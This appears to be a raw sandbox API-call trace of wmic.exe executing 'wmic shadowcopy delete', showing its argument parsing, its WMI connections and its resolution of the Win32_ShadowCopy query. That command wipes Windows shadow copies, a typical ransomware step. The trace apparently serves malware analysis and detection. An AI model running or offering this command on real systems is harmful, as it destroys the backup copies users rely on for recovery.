[0174.375] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0174.375] malloc (_Size=0x18) returned 0x752b50 [0174.376] FreeThreadedDOMDocument:IUnknown:Release (This=0xd845a8) returned 0x0 [0174.376] free (_Block=0x7596f8) [0174.376] GetCommandLineW () returned="wmic shadowcopy delete " [0174.376] malloc (_Size=0x40) returned 0x752d38 [0174.376] memcpy_s (in: _Destination=0x752d38, _DestinationSize=0x3e, _Source=0x811b18, _SourceSize=0x30 | out: _Destination=0x752d38) returned 0x0 [0174.376] malloc (_Size=0xc) returned 0x75ab18 [0174.376] malloc (_Size=0xc) returned 0x75aad0 [0174.376] malloc (_Size=0xc) returned 0x75abf0 [0174.376] malloc (_Size=0xc) returned 0x75aab8 [0174.376] malloc (_Size=0x80) returned 0x75ad10 [0174.376] GetLocalTime (in: lpSystemTime=0x43f7e0 | out: lpSystemTime=0x43f7e0*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1d, wSecond=0x12, wMilliseconds=0xc4)) [0174.376] _vsnwprintf (in: _Buffer=0x75ad10, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x43f7c0 | out: _Buffer="05-01-2020T23:29:18") returned 19 [0174.377] lstrlenW (lpString=" shadowcopy delete ") returned 20 [0174.377] malloc (_Size=0x2a) returned 0x75ad98 [0174.377] lstrlenW (lpString=" shadowcopy delete ") returned 20 [0174.377] lstrlenW (lpString=" shadowcopy delete ") returned 20 [0174.377] malloc (_Size=0x2a) returned 0x75add0 [0174.377] lstrlenW (lpString=" shadowcopy delete ") returned 20 [0174.377] lstrlenW (lpString=" shadowcopy delete ") returned 20 [0174.377] lstrlenW (lpString=" shadowcopy delete ") returned 20 [0174.377] malloc (_Size=0x16) returned 0x7529b0 [0174.377] lstrlenW (lpString="shadowcopy") returned 10 [0174.377] _wcsicmp (_String1="shadowcopy", _String2="\"NULL\"") returned 81 [0174.377] malloc (_Size=0x16) returned 0x7529f0 [0174.377] malloc (_Size=0x4) returned 0x75ae08 [0174.377] free (_Block=0x0) [0174.377] free (_Block=0x7529b0) [0174.377] lstrlenW (lpString=" shadowcopy delete ") returned 20 [0174.377] malloc (_Size=0xe) returned 0x75aae8 [0174.377] lstrlenW (lpString="delete") returned 6 [0174.377] _wcsicmp (_String1="delete", _String2="\"NULL\"") returned 66 [0174.377] malloc (_Size=0xe) returned 0x75aa10 [0174.377] malloc (_Size=0x8) returned 0x75ae18 [0174.377] memmove_s (in: _Destination=0x75ae18, _DestinationSize=0x4, _Source=0x75ae08, _SourceSize=0x4 | out: _Destination=0x75ae18) returned 0x0 [0174.377] free (_Block=0x75ae08) [0174.377] free (_Block=0x0) [0174.377] free (_Block=0x75aae8) [0174.378] lstrlenW (lpString=" shadowcopy delete ") returned 20 [0174.378] malloc (_Size=0x8) returned 0x75ae08 [0174.378] lstrlenW (lpString="QUIT") returned 4 [0174.378] lstrlenW (lpString="shadowcopy") returned 10 [0174.378] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="QUIT", cchCount2=4) returned 3 [0174.378] lstrlenW (lpString="EXIT") returned 4 [0174.378] lstrlenW (lpString="shadowcopy") returned 10 [0174.378] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="EXIT", cchCount2=4) returned 3 [0174.378] free (_Block=0x75ae08) [0174.378] WbemLocator:IUnknown:AddRef (This=0x823848) returned 0x2 [0174.378] malloc (_Size=0x8) returned 0x75ae08 [0174.378] lstrlenW (lpString="/") returned 1 [0174.378] lstrlenW (lpString="shadowcopy") returned 10 [0174.378] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="/", cchCount2=1) returned 3 [0174.378] lstrlenW (lpString="-") returned 1 [0174.378] lstrlenW (lpString="shadowcopy") returned 10 [0174.378] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="-", cchCount2=1) returned 3 [0174.378] lstrlenW (lpString="CLASS") returned 5 [0174.378] lstrlenW (lpString="shadowcopy") returned 10 [0174.378] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CLASS", cchCount2=5) returned 3 [0174.378] lstrlenW (lpString="PATH") returned 4 [0174.378] lstrlenW (lpString="shadowcopy") returned 10 [0174.378] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="PATH", cchCount2=4) returned 3 [0174.378] lstrlenW (lpString="CONTEXT") returned 7 [0174.378] lstrlenW (lpString="shadowcopy") returned 10 [0174.378] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CONTEXT", cchCount2=7) returned 3 [0174.379] lstrlenW (lpString="shadowcopy") returned 10 [0174.379] malloc (_Size=0x16) returned 0x7529b0 [0174.379] lstrlenW (lpString="shadowcopy") returned 10 [0174.379] GetCurrentThreadId () returned 0x1340 [0174.379] ??0CHString@@QAE@XZ () returned 0x43f738 [0174.379] malloc (_Size=0xc) returned 0x75aa28 [0174.379] malloc (_Size=0xc) returned 0x75a968 [0174.379] WbemLocator:IWbemLocator:ConnectServer (in: This=0x823848, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x12d8540 | out: ppNamespace=0x12d8540*=0x82add0) returned 0x0 [0184.218] free (_Block=0x75a968) [0184.218] free (_Block=0x75aa28) [0184.218] CoSetProxyBlanket (pProxy=0x82add0, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0184.218] ??1CHString@@QAE@XZ () returned 0x734765f8 [0184.219] GetCurrentThreadId () returned 0x1340 [0184.219] ??0CHString@@QAE@XZ () returned 0x43f6dc [0184.219] malloc (_Size=0xc) returned 0x75a968 [0184.219] malloc (_Size=0xc) returned 0x75aa28 [0184.219] malloc (_Size=0xc) returned 0x75aa40 [0184.219] malloc (_Size=0xc) returned 0x75aae8 [0184.219] SysStringLen (param_1="root\\cli") returned 0x8 [0184.219] SysStringLen (param_1="\\") returned 0x1 [0184.219] malloc (_Size=0xc) returned 0x75acf8 [0184.219] SysStringLen (param_1="root\\cli\\") returned 0x9 [0184.219] SysStringLen (param_1="ms_409") returned 0x6 [0184.220] free (_Block=0x75aae8) [0184.220] free (_Block=0x75aa40) [0184.220] free (_Block=0x75aa28) [0184.220] free (_Block=0x75a968) [0184.220] malloc (_Size=0xc) returned 0x75a968 [0184.220] WbemLocator:IWbemLocator:ConnectServer (in: This=0x823848, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x12d8544 | out: ppNamespace=0x12d8544*=0x8598a8) returned 0x0 [0186.091] free (_Block=0x75a968) [0186.091] free (_Block=0x75acf8) [0186.091] ??1CHString@@QAE@XZ () returned 0x734765f8 [0186.091] GetCurrentThreadId () returned 0x1340 [0186.091] ??0CHString@@QAE@XZ () returned 0x43f738 [0186.091] malloc (_Size=0xc) returned 0x75ac80 [0186.091] malloc (_Size=0xc) returned 0x75ac98 [0186.091] malloc (_Size=0xc) returned 0x75ace0 [0186.091] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0186.091] malloc (_Size=0x3a) returned 0x75b598 [0186.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12914a8, cbMultiByte=-1, lpWideCharStr=0x75b598, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0186.091] free (_Block=0x75b598) [0186.091] malloc (_Size=0xc) returned 0x75acb0 [0186.091] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0186.091] SysStringLen (param_1="shadowcopy") returned 0xa [0186.092] malloc (_Size=0xc) returned 0x75ac68 [0186.092] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='shadowcopy") returned 0x26 [0186.092] SysStringLen (param_1="'") returned 0x1 [0186.092] free (_Block=0x75acb0) [0186.092] free (_Block=0x75ace0) [0186.092] free (_Block=0x75ac98) [0186.092] free (_Block=0x75ac80) [0186.092] IWbemServices:GetObject (in: This=0x82add0, strObjectPath="MSFT_CliAlias.FriendlyName='shadowcopy'", lFlags=0, pCtx=0x0, ppObject=0x43f734*=0x0, ppCallResult=0x0 | out: ppObject=0x43f734*=0x8687c0, ppCallResult=0x0) returned 0x0 [0186.234] malloc (_Size=0xc) returned 0x75acc8 [0186.235] IWbemClassObject:Get (in: This=0x8687c0, wszName="Target", lFlags=0, pVal=0x43f70c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x43f70c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Select * from Win32_ShadowCopy", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0186.235] free (_Block=0x75acc8) [0186.235] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0186.235] malloc (_Size=0x3e) returned 0x75b598 [0186.235] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0186.236] malloc (_Size=0xc) returned 0x75ac80 [0186.236] IWbemClassObject:Get (in: This=0x8687c0, wszName="PWhere", lFlags=0, pVal=0x43f70c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x43f70c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=" Where ID = '#'", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0186.236] free (_Block=0x75ac80) [0186.236] lstrlenW (lpString=" Where ID = '#'") returned 15 [0186.236] malloc (_Size=0x20) returned 0x75b5e0 [0186.236] lstrlenW (lpString=" Where ID = '#'") returned 15 [0186.236] malloc (_Size=0xc) returned 0x75acb0 [0186.236] IWbemClassObject:Get (in: This=0x8687c0, wszName="Connection", lFlags=0, pVal=0x43f70c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x43f70c*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x868958, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0186.236] free (_Block=0x75acb0) [0186.236] IUnknown:QueryInterface (in: This=0x868958, riid=0x1296a04*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x43f728 | out: ppvObject=0x43f728*=0x868958) returned 0x0 [0186.236] GetCurrentThreadId () returned 0x1340 [0186.236] ??0CHString@@QAE@XZ () returned 0x43f6a4 [0186.236] malloc (_Size=0xc) returned 0x75ac38 [0186.237] IWbemClassObject:Get (in: This=0x868958, wszName="Namespace", lFlags=0, pVal=0x43f68c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x43f68c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0186.237] free (_Block=0x75ac38) [0186.237] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0186.237] malloc (_Size=0x16) returned 0x752c50 [0186.237] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0186.237] malloc (_Size=0xc) returned 0x75acf8 [0186.237] IWbemClassObject:Get (in: This=0x868958, wszName="Locale", lFlags=0, pVal=0x43f68c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x84fd8c, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x43f68c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ms_409", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0186.237] free (_Block=0x75acf8) [0186.237] lstrlenW (lpString="ms_409") returned 6 [0186.237] malloc (_Size=0xe) returned 0x75ace0 [0186.237] lstrlenW (lpString="ms_409") returned 6 [0186.237] malloc (_Size=0xc) returned 0x75ac80 [0186.237] IWbemClassObject:Get (in: This=0x868958, wszName="User", lFlags=0, pVal=0x43f68c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x84fd8c, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x43f68c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0186.237] free (_Block=0x75ac80) [0186.237] malloc (_Size=0xc) returned 0x75ac80 [0186.237] IWbemClassObject:Get (in: This=0x868958, wszName="Password", lFlags=0, pVal=0x43f68c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x43f68c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0186.237] free (_Block=0x75ac80) [0186.238] malloc (_Size=0xc) returned 0x75acf8 [0186.238] IWbemClassObject:Get (in: This=0x868958, wszName="Server", lFlags=0, pVal=0x43f68c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x43f68c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=".", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0186.238] free (_Block=0x75acf8) [0186.238] lstrlenW (lpString=".") returned 1 [0186.238] malloc (_Size=0x4) returned 0x75b608 [0186.238] lstrlenW (lpString=".") returned 1 [0186.238] malloc (_Size=0xc) returned 0x75acb0 [0186.238] IWbemClassObject:Get (in: This=0x868958, wszName="Authority", lFlags=0, pVal=0x43f68c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x84fd8c, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x43f68c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0186.238] free (_Block=0x75acb0) [0186.238] ??1CHString@@QAE@XZ () returned 0x734765f8 [0186.238] IUnknown:Release (This=0x868958) returned 0x1 [0186.238] GetCurrentThreadId () returned 0x1340 [0186.238] ??0CHString@@QAE@XZ () returned 0x43f698 [0186.238] malloc (_Size=0xc) returned 0x75acc8 [0186.238] IWbemClassObject:Get (in: This=0x8687c0, wszName="__RELPATH", lFlags=0, pVal=0x43f680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x43f680*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MSFT_CliAlias.FriendlyName=\"ShadowCopy\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0186.239] free (_Block=0x75acc8) [0186.239] malloc (_Size=0xc) returned 0x75ac80 [0186.239] GetCurrentThreadId () returned 0x1340 [0186.239] ??0CHString@@QAE@XZ () returned 0x43f614 [0186.239] ??0CHString@@QAE@PBG@Z () returned 0x43f608 [0186.239] ??0CHString@@QAE@ABV0@@Z () returned 0x43f590 [0186.239] ?Empty@CHString@@QAEXXZ () returned 0x734765f8 [0186.239] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x75b618 [0186.239] ?Find@CHString@@QBEHPBG@Z () returned 0x1b [0186.239] ?Left@CHString@@QBE?AV1@H@Z () returned 0x43f588 [0186.239] ??H@YG?AVCHString@@ABV0@PBG@Z () returned 0x43f58c [0186.239] ??YCHString@@QAEABV0@ABV0@@Z () returned 0x43f608 [0186.239] ??1CHString@@QAE@XZ () returned 0x1 [0186.239] ??1CHString@@QAE@XZ () returned 0x1 [0186.239] ?Mid@CHString@@QBE?AV1@H@Z () returned 0x43f584 [0186.239] ??4CHString@@QAEABV0@ABV0@@Z () returned 0x43f590 [0186.239] ??1CHString@@QAE@XZ () returned 0x1 [0186.239] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x75b680 [0186.239] ?Find@CHString@@QBEHPBG@Z () returned 0xa [0186.239] ?Left@CHString@@QBE?AV1@H@Z () returned 0x43f588 [0186.239] ??H@YG?AVCHString@@ABV0@PBG@Z () returned 0x43f58c [0186.239] ??YCHString@@QAEABV0@ABV0@@Z () returned 0x43f608 [0186.239] ??1CHString@@QAE@XZ () returned 0x1 [0186.239] ??1CHString@@QAE@XZ () returned 0x1 [0186.239] ?Mid@CHString@@QBE?AV1@H@Z () returned 0x43f584 [0186.240] ??4CHString@@QAEABV0@ABV0@@Z () returned 0x43f590 [0186.240] ??1CHString@@QAE@XZ () returned 0x734765f8 [0186.240] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x734765ec [0186.240] ??1CHString@@QAE@XZ () returned 0x734765f8 [0186.240] malloc (_Size=0xc) returned 0x75ac98 [0186.240] malloc (_Size=0xc) returned 0x75ac38 [0186.240] malloc (_Size=0xc) returned 0x75acf8 [0186.240] malloc (_Size=0xc) returned 0x75ac50 [0186.240] malloc (_Size=0xc) returned 0x75acb0 [0186.240] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c [0186.240] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17 [0186.240] malloc (_Size=0xc) returned 0x75acc8 [0186.240] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53 [0186.240] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x29 [0186.240] malloc (_Size=0xc) returned 0x75aae8 [0186.240] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x7c [0186.240] SysStringLen (param_1="\"") returned 0x1 [0186.241] free (_Block=0x75acc8) [0186.241] free (_Block=0x75acb0) [0186.241] free (_Block=0x75ac50) [0186.241] free (_Block=0x75acf8) [0186.241] free (_Block=0x75ac38) [0186.241] free (_Block=0x75ac98) [0186.241] IWbemServices:GetObject (in: This=0x8598a8, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"\"", lFlags=0, pCtx=0x0, ppObject=0x43f624*=0x0, ppCallResult=0x0 | out: ppObject=0x43f624*=0x868eb8, ppCallResult=0x0) returned 0x0 [0186.341] malloc (_Size=0xc) returned 0x75acf8 [0186.341] IWbemClassObject:Get (in: This=0x868eb8, wszName="Text", lFlags=0, pVal=0x43f5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x43f5ec*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x869600*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x82baa8, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0186.342] free (_Block=0x75acf8) [0186.342] SafeArrayGetLBound (in: psa=0x869600, nDim=0x1, plLbound=0x43f600 | out: plLbound=0x43f600) returned 0x0 [0186.342] SafeArrayGetUBound (in: psa=0x869600, nDim=0x1, plUbound=0x43f5fc | out: plUbound=0x43f5fc) returned 0x0 [0186.342] SafeArrayGetElement (in: psa=0x869600, rgIndices=0x43f618, pv=0x43f610 | out: pv=0x43f610) returned 0x0 [0186.342] malloc (_Size=0xc) returned 0x75ac50 [0186.342] malloc (_Size=0xc) returned 0x75acb0 [0186.342] SysStringLen (param_1="Shadow copy management.") returned 0x17 [0186.342] free (_Block=0x75ac50) [0186.342] IUnknown:Release (This=0x868eb8) returned 0x0 [0186.342] free (_Block=0x75aae8) [0186.342] ??1CHString@@QAE@XZ () returned 0x1 [0186.342] ??1CHString@@QAE@XZ () returned 0x734765f8 [0186.342] free (_Block=0x75ac80) [0186.342] ??1CHString@@QAE@XZ () returned 0x734765f8 [0186.342] lstrlenW (lpString="Shadow copy management.") returned 23 [0186.342] malloc (_Size=0x30) returned 0x75b618 [0186.342] lstrlenW (lpString="Shadow copy management.") returned 23 [0186.343] free (_Block=0x75acb0) [0186.343] IUnknown:Release (This=0x8687c0) returned 0x0 [0186.343] free (_Block=0x75ac68) [0186.343] ??1CHString@@QAE@XZ () returned 0x734765f8 [0186.343] lstrlenW (lpString="PATH") returned 4 [0186.343] lstrlenW (lpString="delete") returned 6 [0186.343] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="PATH", cchCount2=4) returned 1 [0186.343] lstrlenW (lpString="WHERE") returned 5 [0186.343] lstrlenW (lpString="delete") returned 6 [0186.343] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="WHERE", cchCount2=5) returned 1 [0186.343] lstrlenW (lpString="(") returned 1 [0186.343] lstrlenW (lpString="delete") returned 6 [0186.343] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="(", cchCount2=1) returned 3 [0186.343] lstrlenW (lpString="/") returned 1 [0186.343] lstrlenW (lpString="delete") returned 6 [0186.343] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0186.343] lstrlenW (lpString="-") returned 1 [0186.343] lstrlenW (lpString="delete") returned 6 [0186.343] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0186.343] malloc (_Size=0xc) returned 0x75ac50 [0186.343] lstrlenW (lpString="GET") returned 3 [0186.344] lstrlenW (lpString="delete") returned 6 [0186.344] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0186.344] lstrlenW (lpString="LIST") returned 4 [0186.344] lstrlenW (lpString="delete") returned 6 [0186.344] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0186.344] lstrlenW (lpString="SET") returned 3 [0186.344] lstrlenW (lpString="delete") returned 6 [0186.344] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0186.344] lstrlenW (lpString="CREATE") returned 6 [0186.344] lstrlenW (lpString="delete") returned 6 [0186.344] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0186.344] lstrlenW (lpString="CALL") returned 4 [0186.344] lstrlenW (lpString="delete") returned 6 [0186.344] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0186.344] lstrlenW (lpString="ASSOC") returned 5 [0186.344] lstrlenW (lpString="delete") returned 6 [0186.344] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0186.344] lstrlenW (lpString="DELETE") returned 6 [0186.344] lstrlenW (lpString="delete") returned 6 [0186.344] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0186.344] free (_Block=0x75ac50) [0186.344] lstrlenW (lpString="/") returned 1 [0186.344] lstrlenW (lpString="delete") returned 6 [0186.344] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0186.345] lstrlenW (lpString="-") returned 1 [0186.345] lstrlenW (lpString="delete") returned 6 [0186.345] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0186.345] lstrlenW (lpString="delete") returned 6 [0186.345] malloc (_Size=0xe) returned 0x75acf8 [0186.345] lstrlenW (lpString="delete") returned 6 [0186.345] lstrlenW (lpString="GET") returned 3 [0186.345] lstrlenW (lpString="delete") returned 6 [0186.345] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0186.345] lstrlenW (lpString="LIST") returned 4 [0186.345] lstrlenW (lpString="delete") returned 6 [0186.345] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0186.345] lstrlenW (lpString="SET") returned 3 [0186.345] lstrlenW (lpString="delete") returned 6 [0186.345] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0186.345] lstrlenW (lpString="CREATE") returned 6 [0186.345] lstrlenW (lpString="delete") returned 6 [0186.345] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0186.346] lstrlenW (lpString="CALL") returned 4 [0186.346] lstrlenW (lpString="delete") returned 6 [0186.346] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0186.346] lstrlenW (lpString="ASSOC") returned 5 [0186.346] lstrlenW (lpString="delete") returned 6 [0186.346] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0186.346] lstrlenW (lpString="DELETE") returned 6 [0186.346] lstrlenW (lpString="delete") returned 6 [0186.346] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0186.346] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0186.346] malloc (_Size=0x3e) returned 0x75b650 [0186.346] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0186.346] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0x9f4a6425 | out: _String="Select", _Context=0x9f4a6425) returned="Select" [0186.346] malloc (_Size=0xc) returned 0x75ac38 [0186.346] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x9f4a6425 | out: _String=0x0, _Context=0x9f4a6425) returned="*" [0186.346] lstrlenW (lpString="FROM") returned 4 [0186.346] lstrlenW (lpString="*") returned 1 [0186.346] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0186.347] malloc (_Size=0xc) returned 0x75ac50 [0186.347] free (_Block=0x75ac38) [0186.347] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x9f4a6425 | out: _String=0x0, _Context=0x9f4a6425) returned="from" [0186.347] lstrlenW (lpString="FROM") returned 4 [0186.347] lstrlenW (lpString="from") returned 4 [0186.347] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0186.347] malloc (_Size=0xc) returned 0x75ac68 [0186.347] free (_Block=0x75ac50) [0186.347] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x9f4a6425 | out: _String=0x0, _Context=0x9f4a6425) returned="Win32_ShadowCopy" [0186.347] malloc (_Size=0xc) returned 0x75ac80 [0186.347] free (_Block=0x75ac68) [0186.347] free (_Block=0x75b650) [0186.347] free (_Block=0x75ac80) [0186.347] lstrlenW (lpString="SET") returned 3 [0186.347] lstrlenW (lpString="delete") returned 6 [0186.347] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0186.348] lstrlenW (lpString="CREATE") returned 6 [0186.348] lstrlenW (lpString="delete") returned 6 [0186.348] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0186.348] free (_Block=0x75ae08) [0186.348] malloc (_Size=0x4) returned 0x75ae08 [0186.348] lstrlenW (lpString="GET") returned 3 [0186.348] lstrlenW (lpString="delete") returned 6 [0186.348] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0186.348] lstrlenW (lpString="LIST") returned 4 [0186.348] lstrlenW (lpString="delete") returned 6 [0186.348] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 